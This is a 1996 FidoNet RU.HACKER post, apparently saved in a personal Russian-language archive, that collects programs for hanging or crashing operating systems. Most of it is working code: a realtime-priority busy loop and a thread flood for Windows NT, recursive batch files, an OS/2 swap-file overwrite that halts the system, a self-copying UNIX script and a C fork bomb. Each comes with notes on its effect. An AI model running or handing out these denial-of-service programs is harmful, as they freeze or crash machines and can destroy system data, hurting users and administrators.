Это - достаточно беспорядочный архив сообщений конференций сети fidonet, которые на момент их прочтения мной
показались полезными или интересными. Многие устарели, многие узкоспецифичны и малоинтересны, но может оказаться и что-то новое...
- __techs (2:5015/42) ----------------------------------------------- __techs - Msg : 192 of 1000 Scn From : Sergey Zabaryansky 2:463/81.73 24 Nov 96 20:51:20 To : All 26 Nov 96 06:30:40 Subj : Весим Win95,WinNT,OS/2,UNIX ! (2/2) ------------------------------------------------------------------------------- @AREA:RU.HACKER Hi All! ******************************* [....] висим [Exec] как обычно :) [Type] Console Win32 ******************************* У этой программы есть большой недостаток - она, как и все предыдущие, машинно-ориентированная. Давайте завесим NT используя _только_ Win32 API. Cделать это, как оказалось, не так уж и сложно: #include <windows.h> main() { SetPriorityClass(REALTIME_PRIORITY_CLASS); while(TRUE); } Тут правда есть некоторые тонкости. Во первых эта программа не возымеет должного действия на многопроцессорную машину. Во вторых программа должна быть запущена пользователем с правом Increase Scheduling Priority. ******************************* [....] висим [Exec] как обычно :) [Type] Console Win32 ******************************* Предыдущую программу легко переписать с использованием лишь приоритета HIGH, на который никаких прав не нужно. Дело в том, что планировщик OS ничего не знает о процессах, он распределяет время между потоками. По этой причине если у одной программы потоков будет на порядок больше чем у другой, то все процессы кроме нашего фактически не получат время. Вот реализация этой идеи: DWORD ThreadProc(LPDWORD) { while(TRUE); return 0; } int WINAPI WinMain(HINSTANCE hInst,HINSTANCE hPrev,LPSTR szLine,int Cmd) { DWORD dwResult; SetPriorityClass(GetCurrentProcess(),HIGH_PRIORITY_CLASS); SetThreadPriority(GetCurrentThread(),THREAD_PRIORITY_HIGHEST); while(TRUE) { CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)ThreadProc,NULL,0,&dwResult); } return 0; } ******************************* [....] висим [Exec] как обычно :) [Type] файл hangup.bat ******************************* start hangup.bat start hangup.bat 4. OS/2 ******************************** [....] аварийный останов системы [Exec] коммандная строка DosBox [Type] ******************************** echo FoolPlainText > swapper.dat Где swapper.dat - своп OS/2. ************************************* [....] не висим, но это уже не работа [Exec] в DosBox [Type] hangup.bat ************************************* start /b hangup.bat start /b hangup.bat 5. UNIX ******************************** [....] висим [Exec] from shell ./hangunix [Type] ******************************** cat hangunix > x cat x >> hangunix ./hangunix & ./hangunix & ******************************************* [....] тормозим/запуск программ не возможен [Exec] a.out & [Type] C source ******************************************* #include <unistd.h> main() { while(1) { sync(); fork(); } } Эта программа порождает свои копии до тех пор, пока это возможно. Она должна быть запущена в фоне. После этого вы не сможете запустить _ни одну_ программу, так как система не сможет создать еще один процесс, кроме того OS начнет _жудко_ тормозить. Sergey Zabaryansky --- GEcho 1.02+ * Origin: Идеальным только газ бывает, и то в учебнике по физике (2:463/81.73)